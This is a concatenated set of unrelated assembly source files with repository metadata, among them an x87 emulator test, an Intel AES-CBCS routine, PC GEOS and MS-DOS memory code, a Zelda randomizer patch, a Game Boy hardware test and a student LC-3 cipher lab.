%ifdef CONFIG { "RegData": { "MM0": ["0x8000000000000000", "0x4007"], "MM1": ["0x8000000000000000", "0x4006"], "MM2": ["0x8000000000000000", "0x4005"], "MM3": ["0x8000000000000000", "0x4004"], "MM4": ["0x8000000000000000", "0x4003"], "MM5": ["0x8000000000000000", "0x4002"], "MM6": ["0x8000000000000000", "0x4000"], "MM7": ["0x8000000000000000", "0x3FFF"] }, "MemoryRegions": { "0x100000000": "4096" } } %endif mov rdx, 0xe0000000 mov rax, 0x3ff0000000000000 ; 1.0 mov [rdx + 8 * 0], rax mov rax, 0x4000000000000000 ; 2.0 mov [rdx + 8 * 1], rax mov rax, 0x4020000000000000 ; 4.0 mov [rdx + 8 * 2], rax mov rax, 0x4030000000000000 mov [rdx + 8 * 3], rax mov rax, 0x4040000000000000 mov [rdx + 8 * 4], rax mov rax, 0x4050000000000000 mov [rdx + 8 * 5], rax mov rax, 0x4060000000000000 mov [rdx + 8 * 6], rax mov rax, 0x4070000000000000 mov [rdx + 8 * 7], rax fld qword [rdx + 8 * 0] fld qword [rdx + 8 * 1] fld qword [rdx + 8 * 2] fld qword [rdx + 8 * 3] fld qword [rdx + 8 * 4] fld qword [rdx + 8 * 5] fld qword [rdx + 8 * 6] fld qword [rdx + 8 * 7] fincstp hlt
22.795918
45
0.611459
[ "MIT" ]
Azkali/FEX
unittests/ASM/X87/D9_F7.asm
1,117
Assembly
4
;; ;; Copyright (c) 2020-2022, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %include "include/os.asm" %include "include/imb_job.asm" %include "include/mb_mgr_datastruct.asm" %include "include/cet.inc" %include "include/reg_sizes.asm" %include "include/const.inc" %define NUM_LANES 4 %ifndef AES_CBCS_ENC_X4 %define AES_CBCS_ENC_X4 aes_cbcs_1_9_enc_128_x4 %define SUBMIT_JOB_AES_CBCS_ENC submit_job_aes128_cbcs_1_9_enc_sse %endif ; void aes_cbcs_1_9_enc_128_x4(AES_ARGS *args, UINT64 len_in_bytes); extern AES_CBCS_ENC_X4 %ifdef LINUX %define arg1 rdi %define arg2 rsi %else %define arg1 rcx %define arg2 rdx %endif %define state arg1 %define job arg2 %define len2 arg2 %define job_rax rax ; idx needs to be in rbp %define len rbp %define idx rbp %define tmp rbp %define lane r8 %define tmp2 r8 %define iv r9 %define tmp3 r9 %define unused_lanes rbx ; STACK_SPACE needs to be an odd multiple of 8 ; This routine and its callee clobbers all GPRs struc STACK _gpr_save: resq 8 _rsp_save: resq 1 endstruc mksection .text ; JOB* submit_job_aes128_cbcs_1_9_enc_sse(MB_MGR_AES_OOO *state, IMB_JOB *job) ; arg 1 : state ; arg 2 : job MKGLOBAL(SUBMIT_JOB_AES_CBCS_ENC,function,internal) SUBMIT_JOB_AES_CBCS_ENC: mov rax, rsp sub rsp, STACK_size and rsp, -16 mov [rsp + _gpr_save + 8*0], rbx mov [rsp + _gpr_save + 8*1], rbp mov [rsp + _gpr_save + 8*2], r12 mov [rsp + _gpr_save + 8*3], r13 mov [rsp + _gpr_save + 8*4], r14 mov [rsp + _gpr_save + 8*5], r15 %ifndef LINUX mov [rsp + _gpr_save + 8*6], rsi mov [rsp + _gpr_save + 8*7], rdi %endif mov [rsp + _rsp_save], rax ; original SP mov unused_lanes, [state + _aes_unused_lanes] mov lane, unused_lanes and lane, 0xf shr unused_lanes, 4 mov iv, [job + _iv] mov [state + _aes_unused_lanes], unused_lanes mov [state + _aes_job_in_lane + lane*8], job mov tmp, [job + _src] add tmp, [job + _cipher_start_src_offset_in_bytes] movdqu xmm0, [iv] mov [state + _aes_args_in + lane*8], tmp mov tmp, [job + _enc_keys] mov [state + _aes_args_keys + lane*8], tmp mov tmp, [job + _dst] mov [state + _aes_args_out + lane*8], tmp shl lane, 4 ; multiply by 16 movdqa [state + _aes_args_IV + lane], xmm0 ;; insert len into proper lane mov len, [job + _msg_len_to_cipher_in_bytes] and len, -16 ; Buffer might not be aligned to block size shr lane, 4 mov [state + _aes_lens_64 + lane*8], len cmp unused_lanes, 0xf jne return_null ; Find min length mov len2, len mov idx, lane xor tmp2, tmp2 cmp len2, [state + _aes_lens_64 + 8*0] cmova len2, [state + _aes_lens_64 + 8*0] cmova idx, tmp2 inc tmp2 cmp len2, [state + _aes_lens_64 + 8*1] cmova len2, [state + _aes_lens_64 + 8*1] cmova idx, tmp2 inc tmp2 cmp len2, [state + _aes_lens_64 + 8*2] cmova len2, [state + _aes_lens_64 + 8*2] cmova idx, tmp2 inc tmp2 cmp len2, [state + _aes_lens_64 + 8*3] cmova len2, [state + _aes_lens_64 + 8*3] cmova idx, tmp2 cmp len2, 0 je len_is_0 ; Round up to multiple of 16*10 ; N = (length + 159) / 160 --> Number of 160-byte blocks mov rax, len2 xor rdx, rdx ;; zero rdx for div add rax, 159 mov tmp2, 160 div tmp2 ; Number of 160-byte blocks in rax mov tmp2, 160 mul tmp2 ; Number of bytes to process in rax mov len2, rax xor tmp2, tmp2 %assign I 0 %rep NUM_LANES mov tmp3, [state + _aes_lens_64 + 8*I] sub tmp3, len2 cmovs tmp3, tmp2 ; 0 if negative number mov [state + _aes_lens_64 + 8*I], tmp3 %assign I (I+1) %endrep ; "state" and "args" are the same address, arg1 ; len is arg2 call AES_CBCS_ENC_X4 ; state and idx are intact len_is_0: ; process completed job "idx" mov job_rax, [state + _aes_job_in_lane + idx*8] mov unused_lanes, [state + _aes_unused_lanes] mov qword [state + _aes_job_in_lane + idx*8], 0 or dword [job_rax + _status], IMB_STATUS_COMPLETED_CIPHER shl unused_lanes, 4 or unused_lanes, idx mov [state + _aes_unused_lanes], unused_lanes ;; store last cipher block as next_iv shl idx, 3 ; multiply by 8 mov tmp2, [job_rax + _cbcs_next_iv] movdqa xmm0, [state + _aes_args_IV + idx*2] movdqu [tmp2], xmm0 %ifdef SAFE_DATA ;; clear key pointers mov qword [state + _aes_args_keys + idx], 0 %endif return: mov rbx, [rsp + _gpr_save + 8*0] mov rbp, [rsp + _gpr_save + 8*1] mov r12, [rsp + _gpr_save + 8*2] mov r13, [rsp + _gpr_save + 8*3] mov r14, [rsp + _gpr_save + 8*4] mov r15, [rsp + _gpr_save + 8*5] %ifndef LINUX mov rsi, [rsp + _gpr_save + 8*6] mov rdi, [rsp + _gpr_save + 8*7] %endif mov rsp, [rsp + _rsp_save] ; original SP ret return_null: xor job_rax, job_rax jmp return mksection stack-noexec
29.311404
81
0.655245
[ "BSD-3-Clause" ]
jkivilin/intel-ipsec-mb
lib/sse/mb_mgr_aes128_cbcs_1_9_submit_sse.asm
6,683
Assembly
4
Name: zel_endt.asm Type: file Size: 217052 Last-Modified: '2016-05-13T04:23:03Z' SHA-1: 407E93461286583D5BE8F2E468625DBB865980D9 Description: null
21
47
0.816327
[ "MIT" ]
prismotizm/gigaleak
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm1/zel_endt.asm
147
Assembly
4
; Grid menu window (variable size)  1999 Jochen Merz include win1_keys_wdef_long include win1_keys_wwork include win1_keys_wstatus include win1_mac_menu_long include win1_keys_wman include win1_keys_colour xref.s met.f3_grid xref.s meu.f3_selcol,meu.f3_insrow,meu.f3_delrow,meu.f3_width xref.s meu.f3_delcol,meu.f3_selrow gr.xsiz equ 170 gr.ysiz equ 160-12 window grid size gr.xsiz,gr.ysiz origin gr.xsiz-8,8 wattr 1,1,c.mbord,c.mback sprite 0 border 1,c.mhigh iattr c.mpunav,c.miunav,0,0 ; unavailable iattr c.mpavbl,c.miavbl,0,0 ; available iattr c.mpslct,c.mislct,0,0 ; selected help 0 size_opt a size gr.xsiz,gr.ysiz info grid loos grid appn 0 s_end l_ilst grid l_item f3_esc,0 size 30,10 origin gr.xsiz-34,2 justify 0,0 type text selkey esc text esc item mli.f3_esc action quit l_item f3_recalc,1 size gr.xsiz-28,10 origin 6,15 justify 1,0 type text-1 selkey f3_recalc text f3_recalc item mli.f3_recalc action ret_item l_item f3_width,2 size gr.xsiz-28,10 origin 6,27 justify 1,0 type text-meu.f3_width selkey f3_width text f3_width item mli.f3_width action ret_item l_item f3_pwidth,3 size gr.xsiz-28,10 origin 6,39 justify 1,0 type text-1 selkey f3_pwidth text f3_pwidth item mli.f3_pwidth action ret_item l_item f3_selcol,4 size gr.xsiz-28,10 origin 6,51 justify 1,0 type text-meu.f3_selcol selkey f3_selcol text f3_selcol item mli.f3_selcol action ret_item l_item f3_inscol,5 size gr.xsiz-28,10 origin 6,63 justify 1,0 type text-1 selkey f3_inscol text f3_inscol item mli.f3_inscol action ret_item l_item f3_delcol,6 size gr.xsiz-28,10 origin 6,75 justify 1,0 type text-meu.f3_delcol selkey f3_delcol text f3_delcol item mli.f3_delcol action ret_item l_item f3_selrow,7 size gr.xsiz-28,10 origin 6,87 justify 1,0 type text-meu.f3_selrow selkey f3_selrow text f3_selrow item mli.f3_selrow action ret_item l_item f3_insrow,8 size gr.xsiz-28,10 origin 6,99 justify 1,0 type text-meu.f3_insrow selkey f3_insrow text f3_insrow item mli.f3_insrow action ret_item l_item f3_delrow,9 size gr.xsiz-28,10 origin 6,111 justify 1,0 type text-meu.f3_delrow selkey f3_delrow text f3_delrow item mli.f3_delrow action ret_item l_item f3_search,10 size gr.xsiz-28,10 origin 6,123 justify 1,0 type text-1 selkey f3_search text f3_search item mli.f3_search action ret_item l_item f3_quit,11 size gr.xsiz-28,10 origin 6,135 justify 1,0 type text-1 selkey f3_quit text f3_quit item mli.f3_quit action ret_item l_item size 30,10 origin 4,2 justify 0,0 type sprite selkey move sprite move item 12 action move l_end i_wlst grid i_windw size gr.xsiz-40-36,14 origin 38,1 wattr 0,0,0,c.mfill olst 0 i_windw size met.f3_grid+met.f3_grid+2,10 origin gr.xsiz/2-met.f3_grid,2 wattr 0,0,0,c.tback olst grid i_windw size gr.xsiz-8,gr.ysiz-16 origin 4,14 wattr 0,1,c.ibord,c.iback olst ckey i_end i_olst grid i_item size met.f3_grid+met.f3_grid,10 origin 0,0 type text ink c.tink csize 0,0 text f3_grid i_end i_olst ckey i_item size 12,10 origin gr.xsiz-22,1 type text ink c.ilow csize 0,0 text ctlr i_item size 12,10 origin gr.xsiz-22,1+12*4 type text ink c.ilow csize 0,0 text ctlk i_item size 12,10 origin gr.xsiz-22,1+12*7 type text ink c.ilow csize 0,0 text ctlw i_item size 12,10 origin gr.xsiz-22,1+12*8 type text ink c.ilow csize 0,0 text ctlo i_item size 12,10 origin gr.xsiz-22,1+12*9 type text ink c.ilow csize 0,0 text ctls i_item size 12,10 origin gr.xsiz-22,1+12*10 type text ink c.ilow csize 0,0 text ctlx i_end setwrk end
16.424242
62
0.720348
[ "MIT" ]
olifink/qspread
src/spread/wdef/grid.asm
3,794
Assembly
4
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1988 -- All Rights Reserved PROJECT: PC GEOS MODULE: UserInterface/Gen FILE: genUIDocumentControl.asm ROUTINES: Name Description ---- ----------- GLB GenDocumentControlClass Document management REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/90 Initial version DESCRIPTION: This file contains routines to implement the GenDocumentControl class. $Id: genUIDocumentControl.asm,v 1.1 97/04/07 11:45:03 newdeal Exp $ ------------------------------------------------------------------------------@ COMMENT @CLASS DESCRIPTION----------------------------------------------------- GenDocumentControlClass: Synopsis -------- GenDocumentControlClass is the part of document control that runs in the application thread. It manages GenDocument's and works with a GenDocumentControl to give the user controls to manipulate the documents (usually new, open, close, save, save as). See the file "documentControl" for full documentation. ------------------------------------------------------------------------------@ UserClassStructures segment resource GenDocumentControlClass UserClassStructures ends Build segment resource COMMENT @---------------------------------------------------------------------- METHOD: GenDocumentControlBuild -- MSG_META_RESOLVE_VARIANT_SUPERCLASS for GenDocumentControlClass DESCRIPTION: Return the correct specific class for an object PASS: *ds:si - instance data (for object in a GenXXXX class) es - segment of GenDocumentControlClass ax - MSG_META_RESOLVE_VARIANT_SUPERCLASS cx - master offset of variant class to build RETURN: cx:dx - class for specific UI part of object (cx = 0 for no build) ALLOWED TO DESTROY: ax, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 2/89 Initial version ------------------------------------------------------------------------------@ GenDocumentControlBuild method GenDocumentControlClass, MSG_META_RESOLVE_VARIANT_SUPERCLASS mov ax, SPIR_BUILD_UI_DOCUMENT_CONTROL GOTO GenQueryUICallSpecificUI GenDocumentControlBuild endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenDocumentControlInitializeVarData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle the initialization of ATTR_GEN_PATH_DATA, if such this be. CALLED BY: MSG_META_INITIALIZE_VAR_DATA PASS: *ds:si = generic object cx = variable data type RETURN: ax = offset to extra data created DESTROYED: cx, dx, bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 1/ 8/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenDocumentControlInitializeVarData method dynamic GenDocumentControlClass, MSG_META_INITIALIZE_VAR_DATA cmp cx, ATTR_GEN_PATH_DATA je initGenDocumentControlPathData mov di, offset GenDocumentControlClass GOTO ObjCallSuperNoLock initGenDocumentControlPathData: ; ; Add the data to the object. ; mov ax, ATTR_GEN_PATH_DATA or mask VDF_SAVE_TO_STATE mov cx, size GenFilePath call ObjVarAddData ; ; Initialize it to SP_DOCUMENT (SP_TOP for redwood) ; if UNTITLED_DOCS_ON_SP_TOP mov ds:[bx].GFP_disk, SP_TOP else mov ds:[bx].GFP_disk, SP_DOCUMENT endif mov ds:[bx].GFP_path[0], 0 ; ; Return offset in ax ; mov_tr ax, bx ret GenDocumentControlInitializeVarData endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenDocumentControlRelocOrUnReloc %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Deal with the path bound to this object CALLED BY: MSG_META_RELOCATE, MSG_META_UNRELOCATE PASS: *ds:si = object ax - MSG_META_RELOCATE/MSG_META_UNRELOCATE cx - handle of block containing relocation dx - VMRelocType: VMRT_UNRELOCATE_BEFORE_WRITE VMRT_RELOCATE_AFTER_READ VMRT_RELOCATE_AFTER_WRITE bp - data to pass to ObjRelocOrUnRelocSuper RETURN: carry - set if error bp - unchanged DESTROYED: ax, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 1/10/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenDocumentControlRelocOrUnReloc method GenDocumentControlClass, reloc .enter cmp ax, MSG_META_UNRELOCATE jne done mov ax, ATTR_GEN_PATH_DATA mov dx, TEMP_GEN_PATH_SAVED_DISK_HANDLE call GenPathUnrelocObjectPath done: clc .leave mov di, offset GenDocumentControlClass call ObjRelocOrUnRelocSuper ret GenDocumentControlRelocOrUnReloc endm Build ends
25.994924
92
0.606522
[ "Apache-2.0" ]
BOBBYWY/pcgeos
Library/User/Gen/genUIDocumentControl.asm
5,121
Assembly
4
; A290492: Maximal number of binary vectors of length n such that the unions (or bitwise ORs) of any 3 distinct vectors are all distinct. ; Submitted by Jon Maiga ; 1,2,3,4,5,6,7,8,9,10,11,12,14 mov $6,$0 add $6,1 mov $9,$0 lpb $6 mov $0,$9 sub $6,1 sub $0,$6 pow $0,3 mov $2,2 mov $5,1 mov $8,0 lpb $0 sub $0,1440 mov $3,$0 add $8,6 lpb $3 mov $4,$0 mod $4,$2 mov $2,$8 add $2,1 cmp $4,0 cmp $4,0 sub $3,$4 mov $9,1 lpe mul $5,$2 lpe add $7,$5 lpe mov $0,$7
15.771429
137
0.521739
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/290/A290492.asm
552
Assembly
4
; void *im2_create_generic_isr(uint8_t num_callback, void *address) SECTION code_clib SECTION code_z80 PUBLIC im2_create_generic_isr EXTERN l0_im2_create_generic_isr_callee im2_create_generic_isr: pop af pop de pop hl push hl push de push af jp l0_im2_create_generic_isr_callee
14.227273
67
0.773163
[ "BSD-2-Clause" ]
ByteProject/Puddle-BuildTools
FictionTools/z88dk/libsrc/_DEVELOPMENT/im2/c/sccz80/im2_create_generic_isr.asm
313
Assembly
4
add x16, x15, x5
16
16
0.6875
[ "MIT" ]
lucianobajr/Computer-Organization-I
TP2/src/tests/test_2.asm
16
Assembly
4
;Kameron Gill ;1476833 ;[email protected] ;Tues/Thurs 7-9PM ;Lab 4 : Cipher decryption .ORIG x300 LEA R0, GREETINGS ;R0=>GREETING MESSAGE PUTS ;PRINTS GREETING MESSAGE ;RESET ALL MEMORY COUNTERS START R0, R0, #0 AND R1, R1, #0 ;FLAG AND R2, R2, #0 ;INT AND R3, R3, #0 COUNT AND R4, R4, #0 AND R5, R5, #0 AND R6, R6, #0 AND R7, R7, #0 ;TEMP LEA R0, TYPE ;R0=>D/ECRPYT QUESTION PUTS ;PRINTS QUESTION GETC ;INPUT OUT ;DECREPT ENCRYPT OR EXIT CHECKERS ;ENCRYPT LD R4, CHECKE ;R4=>-69 ADD R2, R0, R4 ;R2=INPUT(R0)+(-69) BRz CIPHER ;IF R2==0 => CIPHER FUNCTION ;DECRYPT LD R4, CHECKD ;R4=>-68 ADD R2, R0, R4 ;R2=INPUT+(-68) BRz CIPHER ;EXIT LD R4, CHECKX ;R4=>-88 ADD R2, R0, R4 ;R2=INPUT+(-88) BRz EXIT ;R2==0 =>EXIT ;ERROR CHECK BRnp START ;IF D E X NOT HIT, REPEAT ;ENCRYPT OR DECRYPT FLAG1 ADD R1, R1, #1 ST R1, FLAG AND R1, R1, 0 CIPHER LEA R0, WHATNUM ;R0 SET TO WHAT CIPHER # PUTS ;PRINTS OUT QUESTION FOR CIPHER NUMBER GETC ;GETS NEXT USER INPUT OUT LD R4, #-10 ;R4=> NEWLINE INVERT ADD R2, R0, R4 ;R2+INPUT+-(-10) BRz DECRYPT ;VARIABLES ECHECK .FILL #-69 ;E DCHECK .FILL #-68 ;D XCHECK .FILL #-88 ;X FLAG .FILL #0 ;FLAG ;STRINGS GREETING STRINGZ "WELCOME TO LAB4" TYPE .STRINGZ "Would you like to (E)ncrypt, (D)ecrpyt, or (X)it?" WHATNUM .STRINGZ "Pick a cipher from 1-25" REULT: "Here is your string and decrypted result:" .END
20.210526
65
0.60026
[ "MIT" ]
Kameron97/CMPE12
Lab4/Lab4.asm
1,536
Assembly
4
; Don't zero the counter $030D if we're jumping. This is used ; by the bug catching net to forward its animation. This counter ; used to be zeroed every frame that the $46 counter is not zero, ; which is always true for when Link is jumping. ZeroCountersForStun: LDA !IsJumping : BNE + STZ $030D + STZ $030E RTL ; Change the conditions allowing Link to use Y items in midair. ; Normally he is unable to if the $46 counter is nonzero, we've ; added a branch to skip that check if we're jumping (and if we ; meet a few other conditions, see below) CheckYPress: ; To avoid a few glitches, we must limit the use of certain ; items if we are above deep water. LDA $0303 CMP #$02 : BEQ .boomerang ; cannot use boomerang above deep water ; (and is about to hit water) if !AllowHookshotWaterJump != 0 CMP #$0F : BCC .canJumpAndUse ; or medallions CMP #$12 : BCC .canJumpAndUse ; ^ else CMP #$0E : BCC .canJumpAndUse ; or hookshot CMP #$12 : BCS .canJumpAndUse ; or medallions endif LDA !JumpingAboveWater : BNE .cannotJumpAndUse BRA .canJumpAndUse .boomerang LDA !JumpingAboveWater : BEQ .canJumpAndUse LDA !JumpTimer : CMP #$18 : BCS .cannotJumpAndUse .canJumpAndUse LDA !IsJumping : BNE + .cannotJumpAndUse LDA $46 : BEQ + JML CheckYPress.No + JML CheckYPress.Continue ; Make the hookshot follow Link up when he jumps FixHookshotY: LDA $24 : CMP #$FF : BEQ .doneWithZ LDA $00 : SEC : SBC $24 : STA $00 .doneWithZ LDA $0385, X : BEQ + JML FixHookshotY.ReturnPoint + JML FixHookshotY.BranchPoint ; When the hookshot's chain is drawn, ; the bits that are too close to Link ; are ommited. Below we recalculate ; the hookshot's Y coordinate without ; the changes from the height so it ; can do proper collision checking ; with Link. FixHookshotY2: LDA $24 : CMP #$FFFF : BNE .hasZ LDA $00 BRA .done .hasZ LDA $00 CLC : ADC $24 .done CLC : ADC #$0004 STA $72 RTL ; Fix the boomerang being mispositioned when used during ; a jump, specifically the part in the animation where ; it's held in Link's hand. This changes the boomerang ; draw logic to always use Link's current coordinates, ; instead of using a cached value. It also, of course, ; adjusts the Y coordinate with Link's height off the ; ground. `.typical_y_offsets` and `typical_x_offsets` ; are copied verbatim from the disassembly. UpdateHeldBoomerangCoords: PHB : PHK : PLB REP #$20 LDY $2F LDA $24 : CMP #$FFFF : BNE .hasZ LDA $20 BRA .afterZ .hasZ LDA $20 SEC : SBC $24 .afterZ CLC : ADC #$0008 CLC : ADC .typical_y_offsets, Y STA $00 LDA $22 : CLC : ADC .typical_x_offsets, Y : STA $02 SEP #$20 PLB JSL Ancilla_SetCoordsLong LDA $4D : BNE + JML UpdateHeldBoomerangCoords.JustDraw + JML UpdateHeldBoomerangCoords.ReturnPoint .typical_y_offsets dw -10, -8, -9, -9, -10, -8, -9, -9 .typical_x_offsets dw -9, 11, 8, -8, -10, 11, 8, -8 ; Have the boomerang start at Link's height off the ground ; when thrown. FixBoomerangY: LDA $24 : CMP #$FFFF : BEQ .noZ LDA $20 CLC : ADC #$0008 CLC : ADC $90DC, Y SEC : SBC $24 STA $00 JML FixBoomerangY.ReturnPoint .noZ LDA $20 CLC : ADC #$0008 CLC : ADC $90DC, Y STA $00 JML FixBoomerangY.ReturnPoint
27.030303
69
0.633688
[ "MIT" ]
fcard/z3randomizer
newitems/jump/items.asm
3,568
Assembly
4
; A152579: a(n) = (10*n+3)*(10*n+17). ; Submitted by Christian Krause ; 51,351,851,1551,2451,3551,4851,6351,8051,9951,12051,14351,16851,19551,22451,25551,28851,32351,36051,39951,44051,48351,52851,57551,62451,67551,72851,78351,84051,89951,96051,102351,108851,115551,122451,129551,136851,144351,152051,159951,168051,176351,184851,193551,202451,211551,220851,230351,240051,249951,260051,270351,280851,291551,302451,313551,324851,336351,348051,359951,372051,384351,396851,409551,422451,435551,448851,462351,476051,489951,504051,518351,532851,547551,562451,577551,592851 add $0,1 pow $0,2 mul $0,100 sub $0,49
67.333333
495
0.79868
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/152/A152579.asm
606
Assembly
4
.size 8000 .text@48 jp lstatint .text@100 jp lbegin .data@143 c0 .text@150 lbegin: ld a, 00 ldff(ff), a ld a, 30 ldff(00), a ld a, 01 ldff(4d), a stop, 00 ld c, 41 ld b, 02 ld d, 03 lbegin_waitm2: ldff a, (c) and a, d cmp a, b jrnz lbegin_waitm2 ld a, 08 ldff(c), a ld a, 02 ldff(ff), a ei ld c, 0f .text@1000 lstatint: ldff a, (44) inc a ldff(45), a ld a, 48 ldff(41), a ld a, 01 ldff(43), a .text@10c4 xor a, a ldff(c), a nop nop nop nop nop nop nop nop nop nop nop nop ld a, 08 ldff(41), a .text@10e8 ldff a, (c) and a, 03 jp lprint_a .text@7000 lprint_a: push af ld b, 91 call lwaitly_b xor a, a ldff(40), a pop af ld(9800), a ld bc, 7a00 ld hl, 8000 ld d, a0 lprint_copytiles: ld a, (bc) inc bc ld(hl++), a dec d jrnz lprint_copytiles ld a, c0 ldff(47), a ld a, 80 ldff(68), a ld a, ff ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a xor a, a ldff(69), a ldff(69), a ldff(43), a ld a, 91 ldff(40), a lprint_limbo: jr lprint_limbo .text@7400 lwaitly_b: ld c, 44 lwaitly_b_loop: ldff a, (c) cmp a, b jrnz lwaitly_b_loop ret .data@7a00 00 00 7f 7f 41 41 41 41 41 41 41 41 41 41 7f 7f 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 7f 7f 01 01 01 01 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 01 01 01 01 3f 3f 01 01 01 01 7f 7f 00 00 41 41 41 41 41 41 7f 7f 01 01 01 01 01 01 00 00 7f 7f 40 40 40 40 7e 7e 01 01 01 01 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 41 41 41 41 7f 7f 00 00 7f 7f 01 01 02 02 04 04 08 08 10 10 10 10 00 00 3e 3e 41 41 41 41 3e 3e 41 41 41 41 3e 3e 00 00 7f 7f 41 41 41 41 7f 7f 01 01 01 01 7f 7f
12.028986
24
0.614458
[ "MIT" ]
Manurocker95/GiovanniEmulator
GIOVANNI/gambatte/test/hwtests/m0enable/lycdisable_ff41_scx1_ds_2_cgb04c_out0.asm
1,660
Assembly
4
TITLE ALLOC.ASM - memory arena manager NAME Alloc ;** Memory related system calls and low level routines ; ; $ALLOC ; $SETBLOCK ; $DEALLOC ; $AllocOper ; arena_free_process ; arena_next ; check_signature ; Coalesce ; ; Modification history: ; sudeepb 11-Mar-1991 Ported for NT DOSEm ; .xlist .xcref include version.inc include dosseg.inc INCLUDE DOSSYM.INC INCLUDE DEVSYM.INC include arena.inc .cref .list BREAK <memory allocation utility routines> i_need arena_head,WORD ; seg address of start of arena i_need CurrentPDB,WORD ; current process data block addr i_need FirstArena,WORD ; first free block found i_need BestArena,WORD ; best free block found i_need LastArena,WORD ; last free block found i_need AllocMethod,BYTE ; how to alloc first(best)last I_need EXTERR_LOCUS,BYTE ; Extended Error Locus I_need umb_head,WORD ; seg address of start of umb arenas I_need start_arena,WORD ; seg address of arena from which to ; start alloc scan I_need umbflag,BYTE ; bit 0 indicates link state I_need A20OFF_COUNT,BYTE ; M016, M068 I_need DOS_FLAG, BYTE ; M068 DOSCODE SEGMENT ASSUME SS:DOSDATA,CS:DOSCODE BREAK <Arena_Free_Process - Free a processes memory> ;** Arena_Free_Process ; ; Free all arena blocks allocated to a pricess ; ; ENTRY (bx) = PID of process ; EXIT none ; USES ????? BUGBUG procedure arena_free_process,NEAR MOV AX,[arena_head] arena_free_process_start: MOV DI,arena_signature CALL Check_Signature ; ES <- AX, check for valid block arena_free_process_loop: jc ret_label ; return if carry set PUSH ES POP DS CMP DS:[arena_owner],BX ; is block owned by pid? JNZ arena_free_next ; no, skip to next MOV DS:[arena_owner],DI ; yes... free him arena_free_next: CMP BYTE PTR DS:[DI],arena_signature_end ; end of road, Jack? jz arena_chk_umbs ; M010: let's check umb arenas CALL arena_next ; next item in ES/AX carry set if trash JMP arena_free_process_loop arena_chk_umbs: ; M010 - Start mov ax, [umb_head] ; ax = umb_head cmp ax, 0ffffh ; Q: is umb_head initialized je ret_label ; N: we're done mov di, ds ; di = last arena cmp di, ax ; Q: is last arena above umb_head jae ret_label ; Y: we've scanned umbs also. done. jmp short arena_free_process_start ; M010 - End EndProc arena_free_process BREAK <Arena Helper Routines> ;** Arena_Next - Find Next item in Arena ; ; ENTRY DS - pointer to block head ; (di) = 0 ; EXIT AX,ES - pointers to next head ; 'C' set iff arena damaged procedure arena_next,NEAR MOV AX,DS ; AX <- current block ADD AX,DS:[arena_size] ; AX <- AX + current block length INC AX ; remember that header! ; fall into check_signature and return ; ; CALL check_signature ; ES <- AX, carry set if error ; RET ; BUGBUG - put fallthru here EndProc arena_next ;** Check_Signature - Check Memory Block Signature ; ; ENTRY (AX) = address of block header ; (di) = 0 ; EXIT ES = AX ; 'C' clear if signature good ; 'C' set if signature bad ; USES ES, Flags ;align 2 BUGBUG - put me in procedure check_signature,NEAR MOV ES,AX ; ES <- AX CMP BYTE PTR ES:[DI],arena_signature_normal ; IF next signature = not_end THEN jz ret_label ; GOTO OK (ret if Z) CMP BYTE PTR 